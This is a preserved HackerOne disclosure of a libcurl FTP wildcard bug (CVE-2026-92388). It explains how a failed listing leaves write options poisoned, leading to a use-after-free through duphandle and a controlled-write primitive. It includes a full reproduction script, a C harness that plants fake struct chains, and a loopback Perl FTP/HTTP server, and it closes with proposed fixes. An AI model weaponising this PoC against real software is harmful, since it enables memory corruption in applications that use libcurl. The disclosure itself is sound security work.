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- Published: 2026-10-14
- Original: <https://hackerone.com/reports/4022070>
- Preserved from: https://hackerone.com/reports/4022070 (manual-import) on 2026-11-08
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Content

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CVE-2026-92388: FTP wildcard write callback mixup

By Joshua Rogers (Aisle). Publicly disclosed 14 October 2026.

Original HackerOne report: https://hackerone.com/reports/4022070

Hi all,

A failed FTP wildcard `LIST` leaves `data->set.fwrite_func` pointing at libcurl's internal listing parser and `data->set.out` pointing at the easy handle itself, because the code path that restores them is only reached on a *successful* listing. That alone is a crash on reuse. However, `curl_easy_duphandle()` copies this poisoned state verbatim into a clone, so freeing the original handle (an explicitly documented, independent thing to do) turns the clone's next transfer into a heap use-after-free read. A second, adjacent pattern (reusing a handle by only ever changing `CURLOPT_WRITEDATA`, never `CURLOPT_WRITEFUNCTION`) turns it into a type confusion that parses response bytes into a pointer taken from the application's own memory.

The bug

Wildcard setup saves the application's write callback and output pointer, then substitutes its own:

```
// lib/ftp.c:4019-4026
/* backup old write_function */
ftpwc->backup.write_function = data->set.fwrite_func;
data->set.fwrite_func = Curl_ftp_parselist;
/* backup old file descriptor */
ftpwc->backup.file_descriptor = data->set.out;
data->set.out = data;
```

The only place that puts them back is the state the machine reaches once the `LIST` response has already parsed successfully:

```
// lib/ftp.c:4059-4066
case CURLWC_MATCHING: {
  /* In this state is LIST response successfully parsed, so lets restore
     previous WRITEFUNCTION callback and WRITEDATA pointer */
  struct ftp_wc *ftpwc = wildcard->ftpwc;
  data->set.fwrite_func = ftpwc->backup.write_function;
  data->set.out = ftpwc->backup.file_descriptor;
```

Anything that ends the listing before that point (a `550` denial, a dropped data connection, the application's own `CURLOPT_TIMEOUT` firing on a server that just stays silent) skips it. Every teardown path instead runs `Curl_wildcard_dtor()`, called on every transfer completion from `Curl_multi_done()`, and it never sees the `Curl_easy` it would need to restore into:

```
// lib/ftplistparser.c:188-198
void Curl_wildcard_dtor(struct WildcardData **wcp)
{
  struct WildcardData *wc = *wcp;
  if(!wc) return;
  if(wc->dtor) {
    wc->dtor(wc->ftpwc);   /* frees ftpwc + its parser */
    wc->dtor = ZERO_NULL;
    wc->ftpwc = NULL;
  }
  ...
  curlx_free(wc);
  *wcp = NULL;             /* data->wildcard is now NULL */
```

The handle now has `fwrite_func == Curl_ftp_parselist` and `out == data`, with nothing behind either. The consumer has no guard at all:

```
// lib/ftplistparser.c:1015-1017
struct Curl_easy *data = (struct Curl_easy *)connptr;
struct ftp_wc *ftpwc = data->wildcard->ftpwc;   /* data->wildcard is NULL */
```

Reused for an ordinary transfer, that's an immediate NULL dereference. Not interesting on its own. The next two variants are.

From crash to memory corruption

`curl_easy_duphandle()` turns it into a use-after-free. `dupset()` copies the whole option block by value:

```
// lib/easy.c:932
dst->set = src->set;
```

`fwrite_func` and `out` are ordinary fields in that struct, so the clone inherits `fwrite_func == Curl_ftp_parselist` and `out` pointing at the *source* handle, not itself. Free the source (`curl_easy_duphandle(3)` says the two handles "can subsequently be used independently" and the clone "does **not** inherit any state information") and the clone's very next body byte dereferences freed memory. ASan on a build of `curl-8_22_0` and current `master` (`58df614c86`), identically:

```
mode=duphandle    verdict=CRASH  asan=heap-use-after-free  frame=Curl_ftp_parselist
    READ of size 8 ...
    freed by thread T0 here: ...
    previously allocated by thread T0 here: ...
```

Reusing only `CURLOPT_WRITEDATA` turns it into a type confusion, and it writes. Applications commonly set `CURLOPT_WRITEFUNCTION` once at init and change only `CURLOPT_WRITEDATA` per transfer (the documented minimal case is even simpler: a `FILE *` with the default writer). `Curl_ftp_parselist()` casts its user pointer unconditionally to `struct Curl_easy *`, so when that pointer is the application's own object, the read at `offsetof(struct Curl_easy, wildcard)` lands inside application memory and is followed as a live pointer chain. With a large-enough application object, I planted a fake `WildcardData` / `ftp_wc` / `ftp_parselist_data` / `fileinfo` / `dynbuf` chain inside it (the struct offsets are a build-time constant of the target's libcurl, not a secret) so that the parser's write destination is an address of my choosing:

```
mode=craft-write  t1=19 target_before=ZZZZZZZZ
mode=craft-write  t1=19 t2=0 target_after=[-rw-r--r--] written=yes verdict=CONTROLLED-
WRITE
```

`t2=0` is `CURLE_OK`: the transfer that plants server-controlled bytes at that address reports success, with no fault to catch it. To be precise about what this does and doesn't show: it's a demonstrated write *primitive*, not a working exploit. Turning it into one still needs the pointer-sized slot at that offset in the application's object to be attacker-influenced and an address disclosure. What it does establish is that the failure mode here isn't bounded by "faults immediately."

Preconditions

`CURLOPT_WILDCARDMATCH` in use, a failed FTP wildcard listing, and handle reuse afterward that does not re-set both `CURLOPT_WRITEFUNCTION` and `CURLOPT_WRITEDATA` (or does not call `curl_easy_reset()`) before the next transfer.

PoC

Two peers on loopback: a malicious FTP server that answers every `LIST` / `NLST` / `MLSD` with `550` (a denial, no malice required to construct), and a benign HTTP server. One easy handle runs the failed wildcard transfer, then either gets duplicated (`duphandle`) or reused with a rigged `WRITEDATA` object (`craft-write`); a `control` run re-sets both write options before reuse and is expected to survive cleanly.

Tested against `curl-8_22_0` and current `main`.

```
checkout: /src
privilege required: REMOTE — the trigger is the FTP peer's response; the second,
detonating transfer can go to an unrelated, fully benign HTTP server
run:      sh reproduce.sh duphandle
          sh reproduce.sh craft-write
control:  sh reproduce.sh control
```

```
#!/bin/sh
# Reproduces AISLE-2026-0115-00167: a failed FTP wildcard LIST leaves
# data->set.fwrite_func == Curl_ftp_parselist and data->set.out == the easy
# handle (lib/ftp.c:4019-4026), restored only in CURLWC_MATCHING
# (lib/ftp.c:4059-4066), which a failed listing never reaches. Teardown
# (lib/ftplistparser.c:188-198) frees the wildcard state without touching
# data->set. duphandle propagates the poisoned fields into a clone
# (lib/easy.c:932); WRITEDATA-only reuse feeds Curl_ftp_parselist a pointer
# it treats as a struct Curl_easy (lib/ftplistparser.c:1015-1017).
set -eu
MODE="${1:?usage: $0 duphandle|craft-write|control}"
SRC="${VF_SRC:-/src}"
WORK="${VF_WORK:-/tmp/vf-ftp-wc}"
mkdir -p "$WORK"

CFLAGS="-O1 -g -fsanitize=address -fno-omit-frame-pointer" \
  LDFLAGS="-fsanitize=address" \
  sh -c "cd '$SRC' && ./configure --prefix='$WORK/install' \
    --without-ssl --without-libpsl --disable-docs >'$WORK/build.log' 2>&1 \
    && make -j4 >>'$WORK/build.log' 2>&1 && make install >>'$WORK/build.log' 2>&1" \
  || { tail -40 "$WORK/build.log"; exit 1; }

# Internal struct offsets, taken from the tree just built (a property of the
# target's libcurl build, not a secret specific to any one process run).
cat > "$WORK/off.c" <<'EOF'
#include "ftplistparser.c"
#include <stddef.h>
#include <stdio.h>
int main(void) {
  printf("-DOFF_EASY_WILDCARD=%zu -DOFF_WC_FTPWC=%zu -DOFF_FTPWC_PARSER=%zu "
         "-DOFF_PARSER_OSTYPE=%zu -DOFF_PARSER_ERROR=%zu "
         "-DOFF_PARSER_FILEDATA=%zu -DOFF_FI_BUF=%zu\n",
         offsetof(struct Curl_easy, wildcard),
         offsetof(struct WildcardData, ftpwc),
         offsetof(struct ftp_wc, parser),
         offsetof(struct ftp_parselist_data, os_type),
         offsetof(struct ftp_parselist_data, error),
         offsetof(struct ftp_parselist_data, file_data),
         offsetof(struct fileinfo, buf));
  return 0;
}
EOF
cc -DHAVE_CONFIG_H -I"$SRC" -I"$SRC/lib" -I"$SRC/include" \
  -fsanitize=address -o "$WORK/off" "$WORK/off.c" \
```

```
  "$SRC"/lib/.libs/libcurl.a -lz
OFFS=$("$WORK/off")

cat > "$WORK/harness.c" <<'EOF'
/* Harness for AISLE-2026-0115-00167: duphandle / WRITEDATA-reuse escalation. */
#include <curl/curl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define URL_FTP_DENY "ftp://127.0.0.1:2121/*"
#define URL_HTTP     "http://127.0.0.1:8080/"
#define APP_SIZE    (1024 * 1024)
#define TARGET_SIZE 4096

static size_t app_write(char *buffer, size_t size, size_t count, void *user)
{ (void)buffer; (void)user; return size * count; }

static void common(CURL *c) {
  curl_easy_setopt(c, CURLOPT_TIMEOUT, 10L);
  curl_easy_setopt(c, CURLOPT_NOSIGNAL, 1L);
}

static CURLcode failed_wildcard(CURL *c, void *ctx) {
  curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, app_write);
  curl_easy_setopt(c, CURLOPT_WRITEDATA, ctx);
  curl_easy_setopt(c, CURLOPT_URL, URL_FTP_DENY);
  curl_easy_setopt(c, CURLOPT_WILDCARDMATCH, 1L);
  return curl_easy_perform(c);
}

/* Fake structure chain planted inside the application's own WRITEDATA
   object. Curl_ftp_parselist() treats that object as a struct Curl_easy, so
   every pointer it follows from there is application memory. */
static void craft(unsigned char *app, char *target) {
  unsigned char *fake_wc = app + 8 * 1024;
  unsigned char *fake_ftpwc = app + 16 * 1024;
  unsigned char *fake_parser = app + 24 * 1024;
  unsigned char *fake_fileinfo = app + 32 * 1024;
  struct { char *bufr; size_t leng; size_t allc; size_t toobig; } *dyn =
    (void *)(fake_fileinfo + OFF_FI_BUF);

  memcpy(app + OFF_EASY_WILDCARD, &fake_wc, sizeof(fake_wc));
  memcpy(fake_wc + OFF_WC_FTPWC, &fake_ftpwc, sizeof(fake_ftpwc));
```

```
  memcpy(fake_ftpwc + OFF_FTPWC_PARSER, &fake_parser, sizeof(fake_parser));
  { int os_unix = 1, ok = 0;
    memcpy(fake_parser + OFF_PARSER_OSTYPE, &os_unix, sizeof(os_unix));
    memcpy(fake_parser + OFF_PARSER_ERROR, &ok, sizeof(ok));
    memcpy(fake_parser + OFF_PARSER_FILEDATA, &fake_fileinfo,
           sizeof(fake_fileinfo)); }
  dyn->bufr = target; dyn->leng = 0; dyn->allc = TARGET_SIZE;
  dyn->toobig = APP_SIZE;
}

int main(int argc, char **argv) {
  const char *mode = argc == 2 ? argv[1] : "";
  unsigned char *app = calloc(1, APP_SIZE);
  char *target = malloc(TARGET_SIZE);
  CURL *a, *b; CURLcode t1, t2;
  if (!app || !target) return 2;
  memset(target, 'Z', TARGET_SIZE);
  curl_global_init(CURL_GLOBAL_DEFAULT);
  a = curl_easy_init();
  common(a);

  if (!strcmp(mode, "duphandle")) {
    t1 = failed_wildcard(a, app);
    printf("mode=%-11s t1=%d\n", mode, (int)t1); fflush(stdout);
    b = curl_easy_duphandle(a);
    curl_easy_cleanup(a);              /* documented as independent */
    common(b);
    curl_easy_setopt(b, CURLOPT_WILDCARDMATCH, 0L);
    curl_easy_setopt(b, CURLOPT_URL, URL_HTTP);
    t2 = curl_easy_perform(b);          /* use-after-free read */
    printf("mode=%-11s t1=%d t2=%d verdict=SURVIVED\n", mode, (int)t1, (int)t2);
    curl_easy_cleanup(b);
  } else if (!strcmp(mode, "craft-write")) {
    craft(app, target);
    t1 = failed_wildcard(a, app);
    printf("mode=%-11s t1=%d target_before=%.8s\n", mode, (int)t1, target);
    fflush(stdout);
    curl_easy_setopt(a, CURLOPT_WILDCARDMATCH, 0L);
    curl_easy_setopt(a, CURLOPT_URL, URL_HTTP);
    curl_easy_setopt(a, CURLOPT_WRITEDATA, app);   /* WRITEFUNCTION untouched */
    t2 = curl_easy_perform(a);
    printf("mode=%-11s t1=%d t2=%d target_after=[%.40s] verdict=%s\n",
           mode, (int)t1, (int)t2, target,
           target[0] == 'Z' ? "NO-WRITE" : "CONTROLLED-WRITE");
```

```
    curl_easy_cleanup(a);
  } else if (!strcmp(mode, "control")) {
    t1 = failed_wildcard(a, app);
    printf("mode=%-11s t1=%d\n", mode, (int)t1); fflush(stdout);
    curl_easy_setopt(a, CURLOPT_WILDCARDMATCH, 0L);
    curl_easy_setopt(a, CURLOPT_URL, URL_HTTP);
    curl_easy_setopt(a, CURLOPT_WRITEFUNCTION, app_write);  /* both re-set */
    curl_easy_setopt(a, CURLOPT_WRITEDATA, app);
    t2 = curl_easy_perform(a);
    printf("mode=%-11s t1=%d t2=%d verdict=SURVIVED\n", mode, (int)t1, (int)t2);
    curl_easy_cleanup(a);
  } else {
    fprintf(stderr, "usage: %s duphandle|craft-write|control\n", argv[0]);
    return 2;
  }
  curl_global_cleanup();
  return 0;
}
EOF
# shellcheck disable=SC2086
cc -Wall -Wextra -fsanitize=address -fno-omit-frame-pointer $OFFS \
  -I"$WORK/install/include" "$WORK/harness.c" \
  -L"$WORK/install/lib" -lcurl -Wl,-rpath,"$WORK/install/lib" \
  -o "$WORK/harness"

cat > "$WORK/peers.pl" <<'EOF'
#!/usr/bin/env perl
use strict; use warnings; use IO::Socket::INET;
$| = 1;
my $BODY = "-rw-r--r-- 1 user group 5 Jan 01 00:00 payload";
sub listener { IO::Socket::INET->new(LocalAddr=>"127.0.0.1", LocalPort=>$_[0],
  Listen=>8, ReuseAddr=>1, Proto=>"tcp") or die "listen $_[0]: $!\n"; }
sub ftp_deny {
  my $s = listener(2121);
  while (my $c = $s->accept()) {
    $c->autoflush(1);
    print {$c} "220 retriage FTP ready\r\n";
    my $dl;
    while (my $line = <$c>) {
      $line =~ s/\r?\n$//;
      my ($verb) = split / /, $line, 2; $verb = uc($verb // "");
      if ($verb eq "USER") { print {$c} "331 password required\r\n"; }
      elsif ($verb eq "PASS") { print {$c} "230 logged in\r\n"; }
      elsif ($verb eq "PWD") { print {$c} "257 \"/\" is current directory\r\n"; }
```

```
      elsif ($verb eq "EPSV") { $dl = listener(0);
        printf {$c} "229 Entering Extended Passive Mode (|||%d|)\r\n", $dl->sockport(); }
      elsif ($verb eq "LIST" || $verb eq "NLST" || $verb eq "MLSD") {
        print {$c} "550 listing denied\r\n"; close $dl if $dl; $dl = undef; }
      elsif ($verb eq "QUIT") { print {$c} "221 bye\r\n"; last; }
      else { print {$c} "200 okay\r\n"; }
    }
    close $c;
  }
}
sub http { my $s = listener(8080);
  while (my $c = $s->accept()) { $c->autoflush(1);
    while (my $line = <$c>) { last if $line eq "\r\n"; }
    printf {$c} "HTTP/1.1 200 OK\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s",
      length($BODY), $BODY;
    close $c; } }
for my $s (\&ftp_deny, \&http) { my $pid = fork(); die "fork: $!\n" unless defined $pid;
  $s->() unless $pid; }
print "ready\n"; wait;
EOF
perl "$WORK/peers.pl" >"$WORK/peers.log" 2>&1 &
PEERS=$!
trap 'kill $PEERS 2>/dev/null || true' EXIT
for _ in 1 2 3 4 5; do grep -q ready "$WORK/peers.log" && break; sleep 1; done

: > "${VF_READY:-/dev/null}"

ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 timeout 30 "$WORK/harness" "$MODE"
```

Output on both `curl-8_22_0` and current `main` (`58df614c86`), non-debug ASan build:

```
mode=duphandle    verdict=CRASH  asan=heap-use-after-free  frame=Curl_ftp_parselist
mode=craft-write  t1=19 t2=0 target_after=[-rw-r--r--] verdict=CONTROLLED-WRITE
mode=control      t1=19 t2=0 verdict=SURVIVED
```

Suggested direction

The durable fix is to stop mutating `data->set` in the first place: select the listing parser through transfer-internal state (a flag consulted by the client-write path), not by overwriting the application's own options, so there is nothing to restore and no window for `duphandle` to inherit. If the swap-and-restore design stays, give the restore a `Curl_easy *` and call it on every teardown path (`wc_data_dtor()`, `Curl_wildcard_dtor()`, multi removal, and error returns from `init_wc_data()`) before `ftpwc`/its parser are freed, not only in

`CURLWC_MATCHING`, and make it idempotent by clearing the backups the way that case already does. As defense in depth, have `Curl_ftp_parselist()` bail out (`0`/`CURLE_WRITE_ERROR`) when `data->wildcard`, `wildcard->ftpwc`, or `ftpwc->parser` is absent, instead of dereferencing unconditionally.

Cheers, Josh

Impact

An application that uses `CURLOPT_WILDCARDMATCH`, hits any failed listing (a permission-denied server is enough — no attacker-crafted payload needed), and then either duplicates the handle or reuses it changing only `CURLOPT_WRITEDATA`, gets a heap use-after-free read or a controlled-write primitive built entirely from server- and application-supplied bytes, on a subsequent transfer that can target a completely unrelated, benign peer. Neither pattern is documented as unsafe, and there is no API to detect that libcurl silently overwrote these two options.

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